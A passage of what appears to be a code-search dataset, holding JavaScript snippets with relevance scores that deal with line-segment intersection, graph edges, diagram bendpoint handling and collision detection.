threshold;\n\n if (intersection.index <= 0 || intersection.bendpoint) {\n return null;\n }\n\n // segment relative to connection intersection\n relevantSegment = {\n start: waypoints[intersection.index - 1],\n end: waypoints[intersection.index]\n };\n\n alignment = Object(_util_Geometry__WEBPACK_IMPORTED_MODULE_4__[\"pointsAligned\"])(relevantSegment.start, relevantSegment.end);\n\n if (!alignment) {\n return null;\n }\n\n if (alignment === 'h') {\n segmentLength = relevantSegment.end.x - relevantSegment.start.x;\n } else {\n segmentLength = relevantSegment.end.y - relevantSegment.start.y;\n }\n\n // calculate threshold relative to 2/3 of segment length\n threshold = Object(_BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"calculateSegmentMoveRegion\"])(segmentLength) / 2;\n\n return threshold;\n }\n\n function activateBendpointMove(event, connection) {\n var waypoints = connection.waypoints,\n intersection = Object(_BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"getConnectionIntersection\"])(canvas, waypoints, event),\n threshold;\n\n if (!intersection) {\n return;\n }\n\n threshold = calculateIntersectionThreshold(connection, intersection);\n\n if (isIntersectionMiddle(intersection, waypoints, threshold)) {\n connectionSegmentMove.start(event, connection, intersection.index);\n } else {\n bendpointMove.start(event, connection, intersection.index, !intersection.bendpoint);\n }\n\n // we've handled the event\n return true;\n }\n\n function bindInteractionEvents(node, eventName, element) {\n\n min_dom__WEBPACK_IMPORTED_MODULE_1__[\"event\"].bind(node, eventName, function(event) {\n interactionEvents.triggerMouseEvent(eventName, event, element);\n event.stopPropagation();\n });\n }\n\n function getBendpointsContainer(element, create) {\n\n var layer = canvas.getLayer('overlays'),\n gfx = Object(min_dom__WEBPACK_IMPORTED_MODULE_1__[\"query\"])('.djs-bendpoints[data-element-id=\"' + Object(_util_EscapeUtil__WEBPACK_IMPORTED_MODULE_3__[\"escapeCSS\"])(element.id) + '\"]', layer);\n\n if (!gfx && create) {\n gfx = Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"create\"])('g');\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"attr\"])(gfx, { 'data-element-id': element.id });\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"classes\"])(gfx).add('djs-bendpoints');\n\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"append\"])(layer, gfx);\n\n bindInteractionEvents(gfx, 'mousedown', element);\n bindInteractionEvents(gfx, 'click', element);\n bindInteractionEvents(gfx, 'dblclick', element);\n }\n\n return gfx;\n }\n\n function getSegmentDragger(idx, parentGfx) {\n return Object(min_dom__WEBPACK_IMPORTED_MODULE_1__[\"query\"])(\n '.djs-segment-dragger[data-segment-idx=\"' + idx + '\"]',\n parentGfx\n );\n }\n\n function createBendpoints(gfx, connection) {\n connection.waypoints.forEach(function(p, idx) {\n var bendpoint = Object(_BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"addBendpoint\"])(gfx);\n\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"append\"])(gfx, bendpoint);\n\n Object(_util_SvgTransformUtil__WEBPACK_IMPORTED_MODULE_6__[\"translate\"])(bendpoint, p.x, p.y);\n });\n\n // add floating bendpoint\n Object(_BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"addBendpoint\"])(gfx, 'floating');\n }\n\n function createSegmentDraggers(gfx, connection) {\n\n var waypoints = connection.waypoints;\n\n var segmentStart,\n segmentEnd,\n segmentDraggerGfx;\n\n for (var i = 1; i < waypoints.length; i++) {\n\n segmentStart = waypoints[i - 1];\n segmentEnd = waypoints[i];\n\n if (Object(_util_Geometry__WEBPACK_IMPORTED_MODULE_4__[\"pointsAligned\"])(segmentStart, segmentEnd)) {\n segmentDraggerGfx = Object(_BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"addSegmentDragger\"])(gfx, segmentStart, segmentEnd);\n\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"attr\"])(segmentDraggerGfx, { 'data-segment-idx': i });\n\n bindInteractionEvents(segmentDraggerGfx, 'mousemove', connection);\n }\n }\n }\n\n function clearBendpoints(gfx) {\n Object(min_dash__WEBPACK_IMPORTED_MODULE_0__[\"forEach\"])(Object(min_dom__WEBPACK_IMPORTED_MODULE_1__[\"queryAll\"])('.' + _BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"BENDPOINT_CLS\"], gfx), function(node) {\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"remove\"])(node);\n });\n }\n\n function clearSegmentDraggers(gfx) {\n Object(min_dash__WEBPACK_IMPORTED_MODULE_0__[\"forEach\"])(Object(min_dom__WEBPACK_IMPORTED_MODULE_1__[\"queryAll\"])('.' + _BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"SEGMENT_DRAGGER_CLS\"], gfx), function(node) {\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"remove\"])(node);\n });\n }\n\n function addHandles(connection) {\n\n var gfx = getBendpointsContainer(connection);\n\n if (!gfx) {\n gfx = getBendpointsContainer(connection, true);\n\n createBendpoints(gfx, connection);\n createSegmentDraggers(gfx, connection);\n }\n\n return gfx;\n }\n\n function updateHandles(connection) {\n\n var gfx = getBendpointsContainer(connection);\n\n if (gfx) {\n clearSegmentDraggers(gfx);\n clearBendpoints(gfx);\n createSegmentDraggers(gfx, connection);\n createBendpoints(gfx, connection);\n }\n }\n\n function updateFloatingBendpointPosition(parentGfx, intersection) {\n var floating = Object(min_dom__WEBPACK_IMPORTED_MODULE_1__[\"query\"])('.floating', parentGfx),\n point = intersection.point;\n\n if (!floating) {\n return;\n }\n\n Object(_util_SvgTransformUtil__WEBPACK_IMPORTED_MODULE_6__[\"translate\"])(floating, point.x, point.y);\n\n }\n\n function updateSegmentDraggerPosition(parentGfx, intersection, waypoints) {\n\n var draggerGfx = getSegmentDragger(intersection.index, parentGfx),\n segmentStart = waypoints[intersection.index - 1],\n segmentEnd = waypoints[intersection.index],\n point = intersection.point,\n mid = Object(_util_Geometry__WEBPACK_IMPORTED_MODULE_4__[\"getMidPoint\"])(segmentStart, segmentEnd),\n alignment = Object(_util_Geometry__WEBPACK_IMPORTED_MODULE_4__[\"pointsAligned\"])(segmentStart, segmentEnd),\n draggerVisual, relativePosition;\n\n if (!draggerGfx) {\n return;\n }\n\n draggerVisual = getDraggerVisual(draggerGfx);\n\n relativePosition = {\n x: point.x - mid.x,\n y: point.y - mid.y\n };\n\n if (alignment === 'v') {\n\n // rotate position\n relativePosition = {\n x: relativePosition.y,\n y: relativePosition.x\n };\n }\n\n Object(_util_SvgTransformUtil__WEBPACK_IMPORTED_MODULE_6__[\"translate\"])(draggerVisual, relativePosition.x, relativePosition.y);\n }\n\n eventBus.on('connection.changed', function(event) {\n updateHandles(event.element);\n });\n\n eventBus.on('connection.remove', function(event) {\n var gfx = getBendpointsContainer(event.element);\n\n if (gfx) {\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"remove\"])(gfx);\n }\n });\n\n eventBus.on('element.marker.update', function(event) {\n\n var element = event.element,\n bendpointsGfx;\n\n if (!element.waypoints) {\n return;\n }\n\n bendpointsGfx = addHandles(element);\n\n if (event.add) {\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"classes\"])(bendpointsGfx).add(event.marker);\n } else {\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"classes\"])(bendpointsGfx).remove(event.marker);\n }\n });\n\n eventBus.on('element.mousemove', function(event) {\n\n var element = event.element,\n waypoints = element.waypoints,\n bendpointsGfx,\n intersection;\n\n if (waypoints) {\n bendpointsGfx = getBendpointsContainer(element, true);\n\n intersection = Object(_BendpointUtil__WEBPACK_IMPORTED_MODULE_2__[\"getConnectionIntersection\"])(canvas, waypoints, event.originalEvent);\n\n if (!intersection) {\n return;\n }\n\n updateFloatingBendpointPosition(bendpointsGfx, intersection);\n\n if (!intersection.bendpoint) {\n updateSegmentDraggerPosition(bendpointsGfx, intersection, waypoints);\n }\n\n }\n });\n\n eventBus.on('element.mousedown', function(event) {\n\n var originalEvent = event.originalEvent,\n element = event.element,\n waypoints = element.waypoints;\n\n if (!waypoints) {\n return;\n }\n\n return activateBendpointMove(originalEvent, element, waypoints);\n });\n\n eventBus.on('selection.changed', function(event) {\n var newSelection = event.newSelection,\n primary = newSelection[0];\n\n if (primary && primary.waypoints) {\n addHandles(primary);\n }\n });\n\n eventBus.on('element.hover', function(event) {\n var element = event.element;\n\n if (element.waypoints) {\n addHandles(element);\n interactionEvents.registerEvent(event.gfx, 'mousemove', 'element.mousemove');\n }\n });\n\n eventBus.on('element.out', function(event) {\n interactionEvents.unregisterEvent(event.gfx, 'mousemove', 'element.mousemove');\n });\n\n // update bendpoint container data attribute on element ID change\n eventBus.on('element.updateId', function(context) {\n var element = context.element,\n newId = context.newId;\n\n if (element.waypoints) {\n var bendpointContainer = getBendpointsContainer(element);\n\n if (bendpointContainer) {\n Object(tiny_svg__WEBPACK_IMPORTED_MODULE_5__[\"attr\"])(bendpointContainer, { 'data-element-id': newId });\n }\n }\n });\n\n // API\n\n this.addHandles = addHandles;\n this.updateHandles = updateHandles;\n this.getBendpointsContainer = getBendpointsContainer;\n this.getSegmentDragger = getSegmentDragger;\n}", "title": "" }, { "docid": "b5cf828934cde24478bd039055cc5f29", "score": "0.5604511", "text": "function addEdge(board, cid1, cid2) {\n\t//adds edge between these 2 nodes,\n\t//also add this edge to fields divided by it (the 2 (or 1 if cross edge in quad) fields that contains both corners!)\n}", "title": "" }, { "docid": "e7d309bd8df0af05d059c9afbe0d3766", "score": "0.5595039", "text": "function _overlap_line_line(a, b)\n{\n\treturn is_counter_clockwise(a.transform.pos, b.transform.pos, b.end.pos) != is_counter_clockwise(a.end.pos, b.transform.pos, b.end.pos) &&\n\t is_counter_clockwise(a.transform.pos, a.end.pos, b.transform.pos) != is_counter_clockwise(a.transform.pos, a.end.pos, b.end);\n}", "title": "" }, { "docid": "05c141347cf7f3f055337488aeb28214", "score": "0.55928886", "text": "function intersect(a, b, edge, bbox) {\n return edge & 8 ? [a[0] + (b[0] - a[0]) * (bbox[3] - a[1]) / (b[1] - a[1]), bbox[3]] : // top\n edge & 4 ? [a[0] + (b[0] - a[0]) * (bbox[1] - a[1]) / (b[1] - a[1]), bbox[1]] : // bottom\n edge & 2 ? [bbox[2], a[1] + (b[1] - a[1]) * (bbox[2] - a[0]) / (b[0] - a[0])] : // right\n edge & 1 ? [bbox[0], a[1] + (b[1] - a[1]) * (bbox[0] - a[0]) / (b[0] - a[0])] : // left\n null;\n}", "title": "" }, { "docid": "05c141347cf7f3f055337488aeb28214", "score": "0.55928886", "text": "function intersect(a, b, edge, bbox) {\n return edge & 8 ? [a[0] + (b[0] - a[0]) * (bbox[3] - a[1]) / (b[1] - a[1]), bbox[3]] : // top\n edge & 4 ? [a[0] + (b[0] - a[0]) * (bbox[1] - a[1]) / (b[1] - a[1]), bbox[1]] : // bottom\n edge & 2 ? [bbox[2], a[1] + (b[1] - a[1]) * (bbox[2] - a[0]) / (b[0] - a[0])] : // right\n edge & 1 ? [bbox[0], a[1] + (b[1] - a[1]) * (bbox[0] - a[0]) / (b[0] - a[0])] : // left\n null;\n}", "title": "" }, { "docid": "d1f4a7c4ac9246c857504d7def2ea2da", "score": "0.55887145", "text": "isProperEdge(index) {\n const extents = this.extents;\n const nextIdx = (index + 1) % this.points.length;\n const curr = this.points[index];\n const next = this.points[nextIdx];\n if (this.hasClipInfo) {\n if (curr.x !== next.x && curr.y !== next.y) {\n // `curr` and `next` must be connected with a line\n // because they don't form a vertical or horizontal lines.\n return true;\n }\n const currAtEdge = curr.x % this.extents === 0 || curr.y % this.extents === 0;\n if (!currAtEdge) {\n // the points are connected with a line\n // because at least one of the points is not on\n // the tile boundary.\n return true;\n }\n const nextAtEdge = next.x % this.extents === 0 || next.y % this.extents === 0;\n if (!nextAtEdge) {\n // the points are connected with a line\n // because at least one of the points is not on\n // the tile boundary.\n return true;\n }\n const currWasClipped = curr.isClipped === true;\n const nextWasClipped = next.isClipped === true;\n return !currWasClipped && !nextWasClipped;\n }\n return !((curr.x <= 0 && next.x <= 0) ||\n (curr.x >= extents && next.x >= extents) ||\n (curr.y <= 0 && next.y <= 0) ||\n (curr.y >= extents && next.y >= extents));\n }", "title": "" }, { "docid": "8a34b7d15ba1aaa9dd33f90f55a69a82", "score": "0.5557787", "text": "function addEdge(node1, node2) {\n var edges = {};\n var jsav = node1.jsav;\n var nodeWidth = node1.element.outerWidth();\n var nodeHeight = node1.element.outerHeight();\n var edge1_fx = node1.element.position().left + node1.container.position().left + nodeWidth - 6;\n var edge1_fy = node1.element.position().top + node1.container.position().top + nodeHeight / 3;\n var edge1_tx = node2.element.position().left + node2.container.position().left;\n var edge1_ty = node2.element.position().top + node2.container.position().top + nodeHeight / 3;\n\n var edge2_fx = node2.element.position().left + node2.container.position().left + 6;\n var edge2_fy = node2.element.position().top + node2.container.position().top + nodeHeight / 3 * 2;\n var edge2_tx = node1.element.position().left + node1.container.position().left + nodeWidth;\n var edge2_ty = node1.element.position().top + node1.container.position().top + nodeHeight / 3 * 2;\n\n\n edges.topEdge = jsav.g.line(edge1_fx, edge1_fy + 15, edge1_tx, edge1_ty + 15,\n {\"arrow-end\": \"classic-wide-long\", \"stroke-width\": 2, \"stroke-dasharray\": \"-\"});\n edges.bottomEdge = jsav.g.line(edge2_fx, edge2_fy + 15, edge2_tx, edge2_ty + 15,\n {\"arrow-end\": \"classic-wide-long\", \"stroke-width\": 2, \"stroke-dasharray\": \"-\"});\n edges.hide = function() {\n edges.topEdge.hide();\n edges.bottomEdge.hide();\n };\n edges.show = function() {\n edges.topEdge.hide();\n edges.bottomEdge.hide();\n };\n return edges;\n}", "title": "" }, { "docid": "060aae92462f507bc3ca8df36a0f9487", "score": "0.5537155", "text": "function segmentIntersecte(a, b, c, d) {\n var d1 = determinant(b.x - a.x, b.y - a.y, c.x - a.x, c.y - a.y);\n var d2 = determinant(b.x - a.x, b.y - a.y, d.x - a.x, d.y - a.y);\n if (d1 > 0 && d2 > 0) return false;\n if (d1 < 0 && d2 < 0) return false;\n d1 = determinant(d.x - c.x, d.y - c.y, a.x - c.x, a.y - c.y);\n d2 = determinant(d.x - c.x, d.y - c.y, b.x - c.x, b.y - c.y);\n if (d1 > 0 && d2 > 0) return false;\n if (d1 < 0 && d2 < 0) return false;\n return true;\n }", "title": "" }, { "docid": "fe83bd62e702e8df51ad65305e33a6cf", "score": "0.5533572", "text": "function isColliding_LineSeg_LineSeg(objA, objB) { // Given 2 line segments, where objA contains points A,B, and objB contains points C,D, the algorithm is as follows:\n\tvar v1 = vec2.create();\n\tvar v2 = vec2.create();\n\tvar n = vec2.create();\n\n\t// First, compute n perpendicular to CD (objB's vector)\n\n\tvec2.sub(n, objB.endPt, objB.startPt);\n\tvec2.set(n, -n.v[1], n.v[0]); // This is equivalent to rotating +90 deg (e.g. [1,0] -> [0, 1]; and [0,1] -> [-1, 0])\n\tvec2.normalize(n, n);\n\n\tvec2.sub(v1, objB.startPt, objA.startPt); // v1 = C - A\n\tvec2.sub(v2, objA.endPt, objA.startPt); // v2 = B - A\n\n\t// Compute the paramater, t, on the line segment given by L(t) = A + t(B - A).\n\t// if 0 <= t <= 1, then the segments are intersecting (and t can be used to compute the intersection)\n\tvar t = vec2.dot(n, v1) / vec2.dot(n, v2);\n\n\treturn (t >= 0 && t <= 1);\n}", "title": "" }, { "docid": "f0298109e8cfdb063b8813c93c8c7f35", "score": "0.55283076", "text": "function areColinear(A, B, C){\n\tdCx = A.x - B.x;\n\tdCy = A.y - B.y;\n\n\tdBx = A.x - C.x;\n\tdBy = A.y - C.y;\n\n\tif(dCx === 0 &&\n\t\tdBx === 0){ //A, B and C are on a line parallel to y.\n\t\treturn true;\n\t}\n\telse if(dCx === 0 ||\n\t\t\tdBx === 0) { //only 2 points are on a line parallel to y.\n\t\treturn false;\n\t}\n\telse if(dCy/dCx === dBy/dBx){ //if dBx and dCx aren't zeros, we can calculate their slopes.\n\t\t\t\t\t//if they are equal, they are colinear.\n\t\treturn true;\t\n\t}\n\telse return false;\n}", "title": "" }, { "docid": "905dde17c3352fc06c77c5d8084c6645", "score": "0.55156004", "text": "checkEdges(){\n\t\tif (this.location.x > clientWidth) {\n this.location.x = 0;\n }\n else if (this.location.x < 0) {\n this.location.x = clientWidth;\n }\n \n \n if (this.location.y > clientHeight) {\n this.location.y = 0;\n }\n else if (this.location.y < 0) {\n this.location.y = clientHeight;\n }\n\n }", "title": "" }, { "docid": "c8abf51bc7d99ff237a5c1252a6a22f4", "score": "0.55143005", "text": "function sealsIntersect(a,b){\n\t\tvar ab = a.getBounds();\n\t\tvar bb = b.getBounds();\n\t\treturn ab.x-10 + ab.width/4 > bb.x && ab.x < bb.x + bb.width/4 && ab.y + ab.height/4 > bb.y && ab.y < bb.y + bb.height/4;\n\t}", "title": "" }, { "docid": "d049c8d75f55f559ba255aff6bff1591", "score": "0.55078936", "text": "function checkIntersections(_collection) {\n for (let a = 0; a < _collection.length; a++) {\n for (let b = a + 1; b < _collection.length; b++) {\n let moleculeA = molecules[_collection[a]];\n let moleculeB = molecules[_collection[b]];\n if (obj.lineState) {\n stroke(125, 100);\n line(moleculeA.position.x, moleculeA.position.y, moleculeB.position.x, moleculeB.position.y);\n };\n moleculeA.isIntersecting(moleculeB) ? (moleculeA.changeColor(), moleculeB.changeColor()) : null;\n }\n }\n}", "title": "" }, { "docid": "b81297abe32aebc8840ac1576c4afac9", "score": "0.5488484", "text": "function isAtEdge(a) {\n if ((a.x-a.radius <= 0 || a.x+a.radius >= rect.width-4) || (a.y-a.radius <= 0) || (a.y+a.radius >= rect.height-4)) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "21f571513c6feafa893a863cbf04f47a", "score": "0.54830736", "text": "function findConnectedEdges(point, basin) {\n\t\tedges.forEach(function (edge, i) {\n\t\t\tif (edge.end.y === point.y && edge.end.x === point.x) {\n\t\t\t\tvar obj = { x: edge.start.x, y: edge.start.y };\n\t\t\t\tbasin.members.push(obj);\n\t\t\t\tfindConnectedEdges(obj, basin);\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "d44208c8ffc3cdb6ede5803d3323b3cd", "score": "0.5482776", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n }", "title": "" }, { "docid": "d909f582c36582bf18a57e07f5bf5cdc", "score": "0.5471941", "text": "hasEdge(a, b) {\n return this._store[a].edges.includes(b) && this._store[b].edges.includes(a)\n }", "title": "" }, { "docid": "ac62bf5397f4b7bc947843affcd3ac34", "score": "0.5462202", "text": "function calculateLineSegmentIntersection(lineA, lineB){\r\n\t\tvar p0_x = lineA[\"left\"][0];\r\n\t\tvar p1_x = lineA[\"right\"][0];\r\n\t\tvar p0_y = lineA[\"left\"][1];\r\n\t\tvar p1_y = lineA[\"right\"][1];\r\n\t\tvar p2_x = lineB[\"left\"][0];\r\n\t\tvar p3_x = lineB[\"right\"][0];\r\n\t\tvar p2_y = lineB[\"left\"][1];\r\n\t\tvar p3_y = lineB[\"right\"][1];\r\n\r\n\t\tvar s1_x = p1_x - p0_x;\r\n\t\tvar s1_y = p1_y - p0_y;\r\n\t\tvar s2_x = p3_x - p2_x;\r\n\t\tvar s2_y = p3_y - p2_y;\r\n\r\n\t\tvar s = (-1*s1_y * (p0_x - p2_x) + s1_x * (p0_y - p2_y)) / (-1*s2_x * s1_y + s1_x * s2_y);\r\n\t\tvar t = ( s2_x * (p0_y - p2_y) - s2_y * (p0_x - p2_x)) / (-1*s2_x * s1_y + s1_x * s2_y);\r\n\r\n\t\tif (lineA[\"stroke\"] == lineB[\"stroke\"]){\r\n\t\t\tvar segA = parseInt(lineA[\"segment\"]);\r\n\t\t\tvar segB = parseInt(lineB[\"segment\"]);\r\n\t\t\tif (s >= 0 && s <= 1 && t >= 0 && t <= 1 &&\r\n\t\t\t\tMath.abs(segA - segB) > 1){\r\n\t\t\t\t// Stroke Self-Collision detected\r\n\t\t\t\tvar ix = p0_x + (t * s1_x);\r\n\t\t\t\tvar iy = p0_y + (t * s1_y);\r\n\t\t\t\tvar intersection = {\r\n\t\t\t\t\t\"point\" : [ix, iy],\r\n\t\t\t\t\t\"segmentA\" : lineA,\r\n\t\t\t\t\t\"segmentB\" : lineB\r\n\t\t\t\t}\r\n\t\t\t\treturn intersection;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif (s >= 0 && s <= 1 && t >= 0 && t <= 1){\r\n\t\t\t\t// Stroke Inter-Collision detected\r\n\t\t\t\tvar ix = p0_x + (t * s1_x);\r\n\t\t\t\tvar iy = p0_y + (t * s1_y);\r\n\t\t\t\tvar intersection = {\r\n\t\t\t\t\t\"point\" : [ix, iy],\r\n\t\t\t\t\t\"segmentA\" : lineA,\r\n\t\t\t\t\t\"segmentB\" : lineB\r\n\t\t\t\t};\r\n\t\t\t\treturn intersection;\r\n\t\t\t}\t\r\n\t\t}\r\n\t\treturn undefined\r\n\t}", "title": "" }, { "docid": "dcfec4a45e9f1f5bf9470e287d0acac8", "score": "0.54296976", "text": "function intersect(a, b) {\n // Check if the segments are exactly the same (or just reversed).\n if (a[0] === b[0] && a[1] === b[1] || a[0] === b[1] && a[1] === b[0]) return true;\n\n // Represent the segments as p + tr and q + us, where t and u are scalar\n // parameters.\n var p = a[0],\n r = [a[1][0] - p[0], a[1][1] - p[1]],\n q = b[0],\n s = [b[1][0] - q[0], b[1][1] - q[1]];\n\n // Solve p + tr = q + us to find an intersection point.\n // First, cross both sides with s:\n // (p + tr) × s = (q + us) × s\n // We know that s × s = 0, so this can be rewritten as:\n // t(r × s) = (q − p) × s\n // Then solve for t to get:\n // t = (q − p) × s / (r × s)\n // Similarly, for u we get:\n // u = (q − p) × r / (r × s)\n var rxs = cross (r, s),\n q_p = [q[0] - p[0], q[1] - p[1]],\n t = cross (q_p, s) / rxs,\n u = cross (q_p, r) / rxs,\n epsilon = 1e-6;\n\n return t > epsilon && t < 1 - epsilon && u > epsilon && u < 1 - epsilon;\n }", "title": "" }, { "docid": "eecf69e3697a8e9a717908d94f8389f2", "score": "0.5427332", "text": "function checkIntersections(_collection) {\n for (let a = 0; a < _collection.length; a++) {\n for (let b = a + 1; b < _collection.length; b++) {\n let molA = molecules[_collection[a]];\n let molB = molecules[_collection[b]];\n if (obj.lineState) {\n stroke(125, 100);\n line(molA.pos.x, molA.pos.y, molB.pos.x, molB.pos.y);\n };\n molA.isIntersecting(molB) ? (infect(molA, molB)) : null;\n }\n }\n}", "title": "" }, { "docid": "1caf3fea5cfb480cb3d377917568caf1", "score": "0.54198927", "text": "function isConnected(a, b) {\n return (b.ticker in edgeList[a.ticker]) || a.index == b.index;\n }", "title": "" }, { "docid": "ce3f4bce6371c688ea799551c29f01dd", "score": "0.54195005", "text": "function updateVertices(evt) {\n // create a polyline from returned vertices\n var result = createGraphic(evt);\n\n // if the last vertex is making the line intersects itself,\n // prevent \"vertex-add\" or \"vertex-remove\" from firing\n if (result.selfIntersects) {\n evt.preventDefault();\n }\n }", "title": "" }, { "docid": "860da834073d589bd0f30950f1e4de19", "score": "0.5418743", "text": "function getSimpleBendpoints(a, b, directions) {\n\n var xmid = round((b.x - a.x) / 2 + a.x),\n ymid = round((b.y - a.y) / 2 + a.y);\n\n // one point, right or left from a\n if (directions === 'h:v') {\n return [ { x: b.x, y: a.y } ];\n }\n\n // one point, above or below a\n if (directions === 'v:h') {\n return [ { x: a.x, y: b.y } ];\n }\n\n // vertical segment between a and b\n if (directions === 'h:h') {\n return [\n { x: xmid, y: a.y },\n { x: xmid, y: b.y }\n ];\n }\n\n // horizontal segment between a and b\n if (directions === 'v:v') {\n return [\n { x: a.x, y: ymid },\n { x: b.x, y: ymid }\n ];\n }\n\n throw new Error('invalid directions: can only handle varians of [hv]:[hv]');\n}", "title": "" }, { "docid": "a430479ad6ae486dbdd6861922626cfc", "score": "0.540733", "text": "function segmentIntersection(ax1, ay1, ax2, ay2, bx1, by1, bx2, by2) {\n var d = (ax2 - ax1) * (by2 - by1) - (ay2 - ay1) * (bx2 - bx1);\n if (d === 0) {\n // The lines are parallel.\n return null;\n }\n var ua = ((bx2 - bx1) * (ay1 - by1) - (ax1 - bx1) * (by2 - by1)) / d;\n var ub = ((ax2 - ax1) * (ay1 - by1) - (ay2 - ay1) * (ax1 - bx1)) / d;\n if (ua >= 0 && ua <= 1 && ub >= 0 && ub <= 1) {\n return {\n x: ax1 + ua * (ax2 - ax1),\n y: ay1 + ua * (ay2 - ay1),\n };\n }\n return null; // The intersection point is outside either or both segments.\n}", "title": "" }, { "docid": "71579af861fb4724e0a40738797781a5", "score": "0.54066753", "text": "_test_collision_line_line(a, b) {\n return SSCD.Math.line_intersects(a.get_p1(), a.get_p2(),\n b.get_p1(), b.get_p2());\n }", "title": "" }, { "docid": "8be6f8c4328717030bf53567a1ad6871", "score": "0.5404086", "text": "handleMouseDragForCornerHandleA(e) {\n e.stop();\n\n this.triggerUpdateOnMouseUp = true;\n\n const mousePoint = this.viewGroup.globalToLocal(e.point);\n\n const points = this.model.points.map(point => new Point(point));\n\n const axisA = points[1].subtract(points[0]).normalize();\n const axisB = points[3].subtract(points[0]).normalize();\n\n const mousePointA = mousePoint.project(axisA);\n const mousePointB = mousePoint.project(axisB);\n\n const adjacentPointA = points[2].project(axisA);\n const adjacentPointB = points[2].project(axisB);\n\n points[0] = mousePointA.add(mousePointB);\n points[2] = adjacentPointA.add(adjacentPointB);\n\n points[1] = adjacentPointA.add(mousePointB);\n points[3] = adjacentPointB.add(mousePointA);\n\n const diffA = mousePointA.subtract(points[1].project(axisA));\n const diffB = mousePointB.subtract(points[3].project(axisB));\n\n if (diffA.length === 0 && diffB.length === 0) {\n return;\n }\n\n this.model.setProps({ points });\n }", "title": "" }, { "docid": "e16b06fb4738db6641dbe7a5182f587f", "score": "0.5403716", "text": "_hasEdge(){\n\n }", "title": "" }, { "docid": "a3640bab09c6b24bc4f629740668ffbc", "score": "0.5394472", "text": "function getEdgeConnecting(a, b) {\n var edge = edges.get({filter:function(edge) {\n return edge.from === a && edge.to === b;\n }})[0];\n if (edge instanceof Object) {\n return edge.id;\n }\n}", "title": "" }, { "docid": "796819d584bbffea6d8df4caccf2d9ad", "score": "0.53797114", "text": "addEdge(edge) {\n\t let node_a = edge.getNodes().a, node_b = edge.getNodes().b;\n\t if (!this.hasNodeID(node_a.getID()) || !this.hasNodeID(node_b.getID())\n\t || this._nodes[node_a.getID()] !== node_a || this._nodes[node_b.getID()] !== node_b) {\n\t throw new Error(\"can only add edge between two nodes existing in graph\");\n\t }\n\t // connect edge to first node anyways\n\t node_a.addEdge(edge);\n\t if (edge.isDirected()) {\n\t // add edge to second node too\n\t node_b.addEdge(edge);\n\t this._dir_edges[edge.getID()] = edge;\n\t this._nr_dir_edges += 1;\n\t this.updateGraphMode();\n\t }\n\t else {\n\t // add edge to both nodes, except they are the same...\n\t if (node_a !== node_b) {\n\t node_b.addEdge(edge);\n\t }\n\t this._und_edges[edge.getID()] = edge;\n\t this._nr_und_edges += 1;\n\t this.updateGraphMode();\n\t }\n\t return edge;\n\t }", "title": "" }, { "docid": "7b2bef85515ebb893b16350262998f53", "score": "0.5375289", "text": "function lineIntersect(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y) {\n\t var delta = determinant(a2x - a1x, b1x - b2x, a2y - a1y, b1y - b2y);\n\t if (nearZero(delta)) { // parallel\n\t return false;\n\t }\n\t var namenda = determinant(b1x - a1x, b1x - b2x, b1y - a1y, b1y - b2y) / delta;\n\t if (namenda < 0 || namenda > 1) {\n\t return false;\n\t }\n\t var miu = determinant(a2x - a1x, b1x - a1x, a2y - a1y, b1y - a1y) / delta;\n\t if (miu < 0 || miu > 1) {\n\t return false;\n\t }\n\t return true;\n\t }", "title": "" }, { "docid": "7b2bef85515ebb893b16350262998f53", "score": "0.5375289", "text": "function lineIntersect(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y) {\n\t var delta = determinant(a2x - a1x, b1x - b2x, a2y - a1y, b1y - b2y);\n\t if (nearZero(delta)) { // parallel\n\t return false;\n\t }\n\t var namenda = determinant(b1x - a1x, b1x - b2x, b1y - a1y, b1y - b2y) / delta;\n\t if (namenda < 0 || namenda > 1) {\n\t return false;\n\t }\n\t var miu = determinant(a2x - a1x, b1x - a1x, a2y - a1y, b1y - a1y) / delta;\n\t if (miu < 0 || miu > 1) {\n\t return false;\n\t }\n\t return true;\n\t }", "title": "" }, { "docid": "32cb8400880203039a00e747da8d718f", "score": "0.5373968", "text": "function CollideEdgeCircle(manifold, edgeA, xfA, circleB, xfB) {\n manifold.pointCount = 0;\n\n // Compute circle in frame of edge\n var Q = Transform.mulTVec2(xfA, Transform.mulVec2(xfB, circleB.m_p));\n\n var A = edgeA.m_vertex1;\n var B = edgeA.m_vertex2;\n var e = Vec2.sub(B, A);\n\n // Barycentric coordinates\n var u = Vec2.dot(e, Vec2.sub(B, Q));\n var v = Vec2.dot(e, Vec2.sub(Q, A));\n\n var radius = edgeA.m_radius + circleB.m_radius;\n\n // Region A\n if (v <= 0.0) {\n var P = Vec2.clone(A);\n var d = Vec2.sub(Q, P);\n var dd = Vec2.dot(d, d);\n if (dd > radius * radius) {\n return;\n }\n\n // Is there an edge connected to A?\n if (edgeA.m_hasVertex0) {\n var A1 = edgeA.m_vertex0;\n var B1 = A;\n var e1 = Vec2.sub(B1, A1);\n var u1 = Vec2.dot(e1, Vec2.sub(B1, Q));\n\n // Is the circle in Region AB of the previous edge?\n 